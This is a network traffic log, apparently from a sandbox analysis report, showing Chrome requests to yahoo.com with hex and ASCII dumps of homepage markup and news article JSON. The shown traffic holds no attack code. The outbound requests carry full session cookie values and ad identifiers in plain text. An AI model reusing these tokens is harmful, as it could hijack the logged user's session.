2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6d 3a 74 61 62 3b 73 6c 6b 3a 43 61 73 69 6e 6f 3b 5c 22 20 69 64 3d 5c 22 67 61 6d 65 73 2d 74 61 62 2d 34 5c 22 20 72 6f 6c 65 3d 5c 22 74 61 62 5c 22 20 64 61 74 61 2d 77 66 2d 74 61 72 67 65 74 3d 5c 22 23 67 61 6d 65 73 2d 70 61 6e 65 6c 2d 34 5c 22 20 64 61 74 61 2d 77 66 2d 74 72 69 67 67 65 72 3d 5c 22 74 61 62 41 63 74 69 76 61 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 75 72 6c 3d 5c 22 2f 66 70 5f 6d 73 2f 5f 72 63 76 2f 72 65 6d 6f 74 65 5c 22 20 64 61 74 61 2d 77 66 2d 62 6f 64 79 3d 5c 22 7b 26 71 75 6f 74 3b 63 74 72 6c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 47 61 6d 65 73 4d 69 6e 69 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 6d 5f 69 64 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 72 65 61 63 74 2d 77 61 66 65 72 2d 67 61 6d 65 73 26 71 75 6f 74 3b 2c Data Ascii: m:tab;slk:Casino;\" id=\"games-tab-4\" role=\"tab\" data-wf-target=\"#games-panel-4\" data-wf-trigger=\"tabActivate\" data-wf-url=\"/fp_ms/_rcv/remote\" data-wf-body=\"{"ctrl":"GamesMini","m_id":"react-wafer-games",
2024-04-27 22:41:54 UTC	952	IN	Data Raw: 6e 20 63 6c 61 73 73 3d 5c 22 45 6c 6c 20 4d 61 77 28 31 36 63 68 29 20 50 65 28 6e 29 20 44 28 62 29 20 50 79 28 31 30 70 78 29 20 46 77 28 35 30 30 29 20 46 7a 28 2d 2d 66 6f 6e 74 2d 31 31 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 78 73 68 28 24 74 61 62 73 42 74 6e 53 68 61 64 6f 77 29 20 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 42 64 72 73 28 33 32 70 78 29 20 43 28 2d 2d 62 61 74 74 6c 65 73 68 69 70 29 20 50 78 28 31 32 70 78 29 20 74 61 62 41 63 74 69 76 65 5f 42 67 63 28 2d 2d 77 68 69 74 65 29 21 20 74 61 62 41 63 74 69 76 65 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 21 5c 22 3e 50 75 7a 7a 6c 65 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 70 61 67 69 6e 61 74 69 6f 6e Data Ascii: n class=\"Ell Maw(16ch) Pe(n) D(b) Py(10px) Fw(500) Fz(--font-11px) tabActive_Bxsh($tabsBtnShadow) Bgc(--marshmallow) Bdrs(32px) C(--battleship) Px(12px) tabActive_Bgc(--white)! tabActive_C(--inkwell)!\">Puzzle</span></button></div><div class=\"pagination
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 67 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 62 75 74 74 6f 6e 20 61 72 69 61 2d 6c 61 62 65 6c 3d 5c 22 4e 65 78 74 5c 22 20 63 6c 61 73 73 3d 5c 22 42 28 30 29 20 42 64 77 28 31 70 78 29 20 42 64 73 28 73 29 20 42 64 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 42 67 63 28 2d 2d 77 68 69 74 65 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 4c 68 28 30 29 20 50 6f 73 28 61 29 20 54 28 30 29 20 57 28 34 30 70 78 29 20 48 28 34 38 70 78 29 20 42 78 73 68 28 24 61 72 72 6f 77 53 68 61 64 6f 77 29 20 6e 65 78 74 2d 62 74 6e 20 45 6e 64 28 2d 31 35 70 78 29 20 42 64 72 73 62 73 74 61 72 74 28 31 30 30 25 29 20 42 64 72 73 74 73 74 61 72 74 28 31 30 30 25 29 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 69 74 63 3a 31 3b 73 65 63 3a 61 70 70 2d 67 61 6d 65 73 3b 63 70 Data Ascii: g></button><button aria-label=\"Next\" class=\"B(0) Bdw(1px) Bds(s) Bdc(--marshmallow) Bgc(--white) C(--batcave) Lh(0) Pos(a) T(0) W(40px) H(48px) Bxsh($arrowShadow) next-btn End(-15px) Bdrsbstart(100%) Bdrststart(100%)\" data-ylk=\"itc:1;sec:app-games;cp
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 3a 66 65 61 74 75 72 65 64 2d 67 61 6d 65 2d 53 63 72 61 6d 62 6c 65 20 57 6f 72 64 73 3b 73 75 62 73 65 63 3a 66 65 61 74 75 72 65 64 3b 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 50 6f 73 28 72 29 20 50 74 28 37 30 25 29 20 50 65 28 6e 29 5c 22 3e 3c 69 6d 67 20 63 6c 61 73 73 3d 5c 22 42 64 72 73 28 38 70 78 29 20 53 74 72 65 74 63 68 65 64 42 6f 78 20 48 28 31 30 30 25 29 20 57 28 31 30 30 25 29 20 77 61 66 65 72 2d 69 6d 67 5c 22 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 67 2f 69 6d 61 67 65 73 2f 73 70 61 63 65 62 61 6c 6c 2e 67 69 66 5c 22 20 64 61 74 61 2d 77 66 2d 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 64 65 66 61 75 6c 74 2f 32 30 32 30 30 37 Data Ascii: :featured-game-Scramble Words;subsec:featured;\"><div class=\"Pos(r) Pt(70%) Pe(n)\"><img class=\"Bdrs(8px) StretchedBox H(100%) W(100%) wafer-img\" src=\"https://s.yimg.com/g/images/spaceball.gif\" data-wf-src=\"https://s.yimg.com/cv/apiv2/default/202007
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 61 72 73 68 6d 61 6c 6c 6f 77 29 20 57 28 34 38 25 29 20 48 28 34 30 25 29 20 4d 62 28 31 30 70 78 29 5c 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 57 28 34 38 25 29 20 48 28 34 30 25 29 20 4d 62 28 31 30 70 78 29 5c 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 57 28 34 38 25 29 20 48 28 34 30 25 29 20 4d 62 28 31 30 70 78 29 5c 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 57 28 31 30 30 25 29 20 48 28 33 30 70 78 29 5c 22 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 61 66 65 72 2d 66 65 74 63 68 Data Ascii: arshmallow) W(48%) H(40%) Mb(10px)\"></div><div class=\"Bgc(--marshmallow) W(48%) H(40%) Mb(10px)\"></div><div class=\"Bgc(--marshmallow) W(48%) H(40%) Mb(10px)\"></div><div class=\"Bgc(--marshmallow) W(100%) H(30px)\"></div></div><div class=\"wafer-fetch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49866	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	979	OUT	GET /fp_ms/_rcv/remote?ctrl=WeatherPreviewRefresh&lang=en-US&m_id=react-wafer-weather&m_mode=json&region=US&rid=1sbetl5j2qvpa&site=fp&apptype=default&instance_id=weather&_evtSrc=deferLoad HTTP/1.1 Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:54 UTC	617	IN	HTTP/1.1 500 Internal Server Error referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN content-type: text/html; charset=utf-8 status-code: 500 x-app-version: 1.0.37150 x-applet-version: 1.0.37150 x-instance-id: weather x-applet-id: react-wafer-weather content-length: 29 etag: W/"1d-q1sx13HKBSxZd8ReLeWy82ipklI" date: Sat, 27 Apr 2024 22:41:54 GMT x-envoy-upstream-service-time: 17 server: ATS x-envoy-decorator-operation: tdv2-app-fp--mtls-production-bf1.frontpage-k8s-frontend.svc.yahoo.local:4080/* X-Bypass-Ssl-Transform: 1 Age: 1
2024-04-27 22:41:54 UTC	962	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 66 72 61 6d 65 2d 61 6e 63 65 73 74 6f 72 73 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 62 75 69 6c 74 62 79 67 69 72 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 72 69 76 61 6c 73 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 65 6e 67 61 64 67 65 74 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 69 6e 74 68 65 6b 6e 6f 77 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 75 74 6f 62 6c 6f 67 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 74 65 63 68 63 72 75 6e 63 68 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 79 61 68 6f 6f 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 61 6f 6c 2e 63 6f 6d 20 68 74 74 70 73 3a 2f 2f 2a 2e 68 75 66 66 69 6e 67 74 6f 6e 70 6f 73 74 2e 63 Data Ascii: Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://*.huffingtonpost.c
2024-04-27 22:41:54 UTC	29	IN	Data Raw: 6c 61 74 20 61 6e 64 20 6c 6f 6e 67 20 6f 72 20 77 6f 65 69 64 20 6d 69 73 73 69 6e 67 Data Ascii: lat and long or woeid missing

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49868	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:53 UTC	1857	OUT	GET /caas/content/article/?uuid=99ec3df7-bf20-382a-9567-4240d7a85639,1d8f0ccd-1e4a-4558-81b8-7a3f9ddb44e8,55689e67-d5f8-30ea-8394-04902959b16f,a78cb2ab-498a-3f34-85ea-fa9feb4c02de,fd248489-9443-4693-9a9f-1c2336eb0e64,0056d40c-adda-3e16-82e7-435111b2ce12,2bf7856d-e1c9-3e74-9cdd-f9756173199a,36e16f65-51ee-3a9e-9d88-5adf2e3b7907,f0f95b59-a002-3ce2-a2f9-69bfafbf114c,dde82b60-8c41-344d-a437-7422cb916f0b&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModa [TRUNCATED] Host: www.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B
2024-04-27 22:41:54 UTC	1274	IN	HTTP/1.1 200 OK x-powered-by: Express access-control-allow-credentials: true access-control-allow-methods: GET, OPTIONS access-control-allow-headers: Origin, X-Requested-With, Content-Type, Accept content-type: application/json; charset=utf-8 content-length: 470872 etag: W/"72f58-iqnijMC93Vksh76Qp+ftau9ka8k" vary: Accept-Encoding date: Sat, 27 Apr 2024 22:41:54 GMT x-envoy-upstream-service-time: 139 server: ATS Age: 1 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: frame-ancestors 'self' https://.builtbygirls.com https://.rivals.com https://.engadget.com https://.intheknow.com https://.autoblog.com https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.pnr.ouryahoo.com https://pnr.ouryahoo.com https://.search.aol.com https://.search.huffpost.com https://.onesearch.com https://.verizonmedia.com https://.publishing.oath.com https://.autoblog.com; sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2v0cu61j2qvph&partner=; X-Frame-Options: SAMEORIGIN
2024-04-27 22:41:54 UTC	242	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Referrer-Policy: no-referrer-when-downgradeConnection: closeExpect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:41:54 UTC	899	IN	Data Raw: 7b 22 69 74 65 6d 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 70 61 72 74 6e 65 72 44 61 74 61 22 3a 7b 22 61 64 4d 65 74 61 22 3a 7b 22 68 61 73 68 74 61 67 22 3a 22 67 6f 76 65 72 6e 6d 65 6e 74 3b 74 72 61 6e 73 70 6f 72 74 61 74 69 6f 6e 22 2c 22 69 73 53 75 70 70 6c 79 53 65 67 6d 65 6e 74 22 3a 22 66 61 6c 73 65 22 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 55 53 22 2c 22 72 65 67 69 6f 6e 22 3a 22 55 53 22 2c 22 72 73 22 3a 22 6c 6d 73 69 64 3a 61 30 61 36 54 30 30 30 30 30 52 32 4b 58 47 51 41 33 3b 72 65 76 73 70 3a 63 6e 6e 5f 61 72 74 69 63 6c 65 73 5f 38 37 35 3b 6c 70 73 74 61 69 64 3a 39 39 65 63 33 64 66 37 2d 62 66 32 30 2d 33 38 32 61 2d 39 35 36 37 2d 34 32 34 30 64 37 61 38 35 36 33 39 3b 70 74 3a 63 6f 6e 74 65 6e 74 3b 70 64 3a 6d 6f 64 61 6c Data Ascii: {"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"government;transportation","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0a6T00000R2KXGQA3;revsp:cnn_articles_875;lpstaid:99ec3df7-bf20-382a-9567-4240d7a85639;pt:content;pd:modal
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 32 37 2f 75 73 2f 6e 65 77 2d 6d 65 78 69 63 6f 2d 74 72 61 69 6e 2d 64 65 72 61 69 6c 6d 65 6e 74 2d 65 76 61 63 75 61 74 69 6f 6e 2f 69 6e 64 65 78 2e 68 74 6d 6c 22 2c 22 63 61 74 65 67 6f 72 79 4c 61 62 65 6c 22 3a 22 55 2e 53 2e 22 2c 22 63 6f 6d 6d 65 6e 74 73 41 6c 6c 6f 77 65 64 22 3a 74 72 75 65 2c 22 63 6f 6d 6d 65 6e 74 73 43 6f 75 6e 74 22 3a 30 2c 22 63 6f 6e 74 65 6e 74 4d 65 74 61 22 3a 7b 22 61 64 50 6f 73 74 69 6f 6e 73 22 3a 7b 22 70 68 6f 74 6f 73 22 3a 7b 7d 2c 22 49 4e 41 52 54 49 43 4c 45 22 3a 33 7d 2c 22 62 6f 64 79 53 6c 6f 74 73 22 3a 7b 7d 2c 22 63 6f 76 65 72 22 3a 6e 75 6c 6c 2c 22 65 6d 62 65 64 73 22 3a 6e 75 6c 6c 2c 22 68 61 73 45 6d 62 65 64 41 74 42 65 67 69 6e 6e 69 6e 67 22 3a 66 61 6c 73 65 2c 22 68 61 73 45 6d 62 65 Data Ascii: 27/us/new-mexico-train-derailment-evacuation/index.html","categoryLabel":"U.S.","commentsAllowed":true,"commentsCount":0,"contentMeta":{"adPostions":{"photos":{},"INARTICLE":3},"bodySlots":{},"cover":null,"embeds":null,"hasEmbedAtBeginning":false,"hasEmbe
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 22 65 6e 64 63 68 61 72 22 3a 35 38 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 7d 2c 7b 22 74 65 72 6d 22 3a 22 57 49 4b 49 49 44 3a 4e 65 77 5f 4d 65 78 69 63 6f 5f 53 74 61 74 65 5f 50 6f 6c 69 63 65 22 2c 22 6c 61 62 65 6c 22 3a 22 4e 65 77 20 4d 65 78 69 63 6f 20 53 74 61 74 65 20 50 6f 6c 69 63 65 22 2c 22 63 61 70 41 62 74 53 63 6f 72 65 22 3a 22 30 2e 38 36 39 22 2c 22 6d 65 74 61 44 61 74 61 22 3a 5b 7b 22 76 69 73 69 62 6c 65 22 3a 22 66 61 6c 73 65 22 7d 5d 2c 22 73 74 61 72 74 63 68 61 72 22 3a 37 36 38 2c 22 65 6e 64 63 68 61 72 22 3a 37 39 30 2c 22 73 70 65 63 69 61 6c 50 61 72 65 6e 74 54 61 67 73 22 3a 5b 5d 2c 22 69 6e 73 74 61 6e 63 65 50 61 Data Ascii: "endchar":58,"specialParentTags":[],"instanceParentTags":[]},{"term":"WIKIID:New_Mexico_State_Police","label":"New Mexico State Police","capAbtScore":"0.869","metaData":[{"visible":"false"}],"startchar":768,"endchar":790,"specialParentTags":[],"instancePa
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2c 22 68 65 72 6f 4d 6f 64 75 6c 65 22 3a 7b 7d 2c 22 68 69 64 65 41 6c 6c 41 64 73 22 3a 66 61 6c 73 65 2c 22 68 6f 73 74 65 64 54 79 70 65 22 3a 22 68 6f 73 74 65 64 22 2c 22 68 72 65 66 4c 61 6e 67 73 22 3a 5b 5d 2c 22 69 73 42 72 61 6e 64 65 64 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 43 6f 6d 6d 65 6e 74 73 45 6c 69 67 69 62 6c 65 22 3a 66 61 6c 73 65 2c 22 69 73 43 72 65 61 74 6f 72 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 49 6d 6d 65 72 73 69 76 65 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 72 69 67 69 6e 61 6c 43 6f 6e 74 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 50 65 72 73 6f 6e 61 6c 46 69 6e 61 6e 63 65 41 72 74 69 63 6c 65 22 3a 66 61 6c 73 65 2c 22 69 73 53 70 6f 6e 73 6f 72 65 64 43 6f 6e 74 65 6e 74 Data Ascii: ,"heroModule":{},"hideAllAds":false,"hostedType":"hosted","hrefLangs":[],"isBrandedContent":false,"isCommentsEligible":false,"isCreatorContent":false,"isImmersiveContent":false,"isOriginalContent":false,"isPersonalFinanceArticle":false,"isSponsoredContent
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 63 61 6c 49 64 22 3a 22 4e 65 77 5f 4d 65 78 69 63 6f 22 2c 22 63 61 6e 6f 6e 69 63 61 6c 54 79 70 65 22 3a 22 77 69 6b 69 5f 69 64 22 2c 22 73 65 63 6f 6e 64 61 72 79 49 64 73 22 3a 7b 22 77 69 6b 69 5f 69 64 22 3a 22 4e 65 77 5f 4d 65 78 69 63 6f 22 2c 22 79 6b 5f 69 64 22 3a 22 39 65 37 39 36 31 30 61 2d 64 31 32 36 2d 34 62 61 64 2d 39 62 61 30 2d 35 30 35 31 65 33 30 34 33 33 38 63 22 7d 2c 22 74 65 78 74 22 3a 22 4e 65 77 20 4d 65 78 69 63 6f 22 2c 22 74 79 70 65 22 3a 22 50 4c 41 43 45 22 7d 5d 2c 22 73 65 61 72 63 68 4e 6f 49 6e 64 65 78 22 3a 66 61 6c 73 65 2c 22 73 68 61 72 65 49 6d 61 67 65 22 3a 7b 22 77 69 64 74 68 22 3a 39 36 30 2c 22 68 65 69 67 68 74 22 3a 35 34 30 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 6d 65 64 69 61 2e 7a 65 6e Data Ascii: calId":"New_Mexico","canonicalType":"wiki_id","secondaryIds":{"wiki_id":"New_Mexico","yk_id":"9e79610a-d126-4bad-9ba0-5051e304338c"},"text":"New Mexico","type":"PLACE"}],"searchNoIndex":false,"shareImage":{"width":960,"height":540,"url":"https://media.zen
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6e 65 77 73 2f 65 76 61 63 75 61 74 69 6f 6e 73 2d 6f 72 64 65 72 65 64 2d 64 6f 7a 65 6e 73 2d 74 72 61 69 6e 2d 63 61 72 73 2d 31 37 31 33 31 37 30 30 33 2e 68 74 6d 6c 22 2c 22 56 55 49 44 22 3a 22 67 58 43 4c 4c 4f 70 74 61 5a 63 61 74 31 58 68 65 6e 79 52 37 51 22 7d 7d 2c 22 6d 6f 64 75 6c 65 73 22 3a 7b 7d 2c 22 6d 61 72 6b 75 70 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 63 61 61 73 20 63 61 61 73 2d 63 63 20 66 72 6f 6e 74 70 61 67 65 20 65 6e 61 62 6c 65 45 56 50 6c 61 79 65 72 20 65 6e 61 62 6c 65 4f 76 65 72 72 69 64 65 53 70 61 63 65 49 64 20 63 6f 6e 74 65 6e 74 46 65 65 64 62 61 63 6b 45 6e 61 62 6c 65 64 20 65 6e 61 62 6c 65 41 64 46 65 65 64 62 61 63 6b 56 32 20 65 6e 61 Data Ascii: ttps://www.yahoo.com/news/evacuations-ordered-dozens-train-cars-171317003.html","VUID":"gXCLLOptaZcat1XhenyR7Q"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 ena
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 2e 20 54 72 79 20 61 67 61 69 6e 5c 22 2c 5c 22 55 50 44 41 54 45 5c 22 3a 5c 22 75 70 64 61 74 65 5c 22 2c 5c 22 55 50 44 41 54 45 53 5c 22 3a 5c 22 75 70 64 61 74 65 73 5c 22 2c 5c 22 56 49 44 45 4f 5f 41 31 31 59 5f 44 49 53 41 42 4c 45 5f 46 55 4c 4c 53 43 52 45 45 4e 5c 22 3a 5c 22 46 75 6c 6c 20 53 63 72 65 65 6e 2c 20 62 75 74 74 6f 6e 2c 20 64 69 73 61 62 6c 65 64 2c 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 20 66 6f 72 20 73 63 72 65 65 6e 20 72 65 61 64 65 72 20 75 73 65 72 73 5c 22 7d 27 20 64 61 74 61 2d 6c 61 6e 67 3d 65 6e 2d 55 53 20 64 61 74 61 2d 74 7a 3d 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 20 64 61 74 61 2d 70 61 72 61 6d 73 3d 27 7b 5c Data Ascii: mething went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 30 64 37 61 38 35 36 33 39 3e 3c 61 72 74 69 63 6c 65 20 74 61 62 69 6e 64 65 78 3d 2d 31 20 63 6c 61 73 73 3d 63 61 61 73 2d 63 6f 6e 74 61 69 6e 65 72 20 61 72 69 61 2d 6c 61 62 65 6c 6c 65 64 62 79 3d 63 61 61 73 2d 6c 65 61 64 2d 68 65 61 64 65 72 2d 39 39 65 63 33 64 66 37 2d 62 66 32 30 2d 33 38 32 61 2d 39 35 36 37 2d 34 32 34 30 64 37 61 38 35 36 33 39 3e 3c 68 65 61 64 65 72 20 63 6c 61 73 73 3d 63 61 61 73 2d 68 65 61 64 65 72 3e 3c 21 2d 2d 46 23 66 5f 35 2d 2d 3e 3c 64 69 76 20 63 6c 61 73 73 3d 63 61 61 73 2d 6c 6f 67 6f 3e 3c 61 20 63 6c 61 73 73 3d 5c 22 6c 69 6e 6b 20 72 61 70 69 64 2d 6e 6f 63 6c 69 63 6b 2d 72 65 73 70 20 63 61 61 73 2d 61 74 74 72 2d 70 72 6f 76 69 64 65 72 2d 6c 6f 67 6f 5c 22 20 68 72 65 66 3d 68 74 74 70 73 3a 2f 2f Data Ascii: 0d7a85639><article tabindex=-1 class=caas-container aria-labelledby=caas-lead-header-99ec3df7-bf20-382a-9567-4240d7a85639><header class=caas-header>...F#f_5--><div class=caas-logo><a class=\"link rapid-noclick-resp caas-attr-provider-logo\" href=https://
